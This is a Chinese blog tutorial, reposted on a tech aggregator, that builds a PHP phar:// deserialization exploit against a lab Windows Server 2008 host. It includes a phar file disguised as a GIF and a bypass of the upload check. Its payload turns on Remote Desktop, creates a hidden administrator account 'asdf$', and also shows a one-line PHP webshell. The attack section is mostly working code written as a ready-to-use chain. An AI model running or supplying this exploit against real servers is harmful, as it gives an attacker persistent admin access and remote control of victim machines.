IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> phar: |反序列化的利用【windows远程登录】 -> 正文阅读

[PHP知识库]phar: |反序列化的利用【windows远程登录】

前言

一、环境搭建

??

二、详细解释

1.phar反序列化

2.关键1

3.关键2

三、运行测试?

四、总结



前言

看到CTF很多题都有关于phar://绕过文件上传配合反序列化利用的。但是实战中大概率不存在这么巧合的点。

在了解phar://时,看很多博客都是写入phpinfo()来执行的。我突发脑洞,既然可以执行phpinfo,那么可不可以写马获得shell呢?

由于对php对象不是很了解,踩了很多坑记录一下。

windows server 2008、php5.5.38、权限是管理员权限,所以可以远程登录。


一、环境搭建

在phpstudy下。创建一个目录。写入如下几个文件

index.php

<?php
echo "ssss";
$filename=$_GET['filename'];
class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
file_exists($filename);
?>

?phar_create.php

<?php

class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('../phar.phar');//上一级目录
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';
$phar -> setMetadata($object);
$phar -> stopBuffering();
echo 'phar 生成在上一级目录';
?>

?upload.html

<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "./" .$_FILES["file"]["name"]);
      echo "Stored in: " . "./" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

浏览器访问?

二、详细解释

1.phar反序列化

具体看其他大牛的博客

2.关键1

主要是index.php中的

? ? function __destruct()
? ? {
? ? ? ? eval($this -> data);
? ? }

所以在file_exists(”phar://../phar.phar“);触发反序列化然后时触发__destruct()执行命令。

3.关键2

本来我是想利用写入文件的,奈何后面在利用时不会执行这条命令,不知道为什么。。。。

$object -> data =?'file_put_contents(”cmd.php“,"<?php eval(\$_POST[cmd]);?>");'

echo `dir`; 加上反引号可以命令执行

$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';

三、运行测试?

这是生成phar包会产生的效果,对了如果报错说明要修改php.ini 文件,去掉; 改成off

下面我们删除账户关掉3389,net user asdf$ /del && taskkill /pid 6424 /f

?哎呀 忘了改后缀为gif 再上传了。不过没关系效果是一样的。

?payload = filename=phar://../phar.phar

?

?

?

四、总结

其他脑洞可以自行发挥啦 好累 做这个搞了好久好久。。。。。睡觉觉了。。。。。。。。。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-17 11:41:01  更:2021-07-17 11:41:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/27 17:58:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码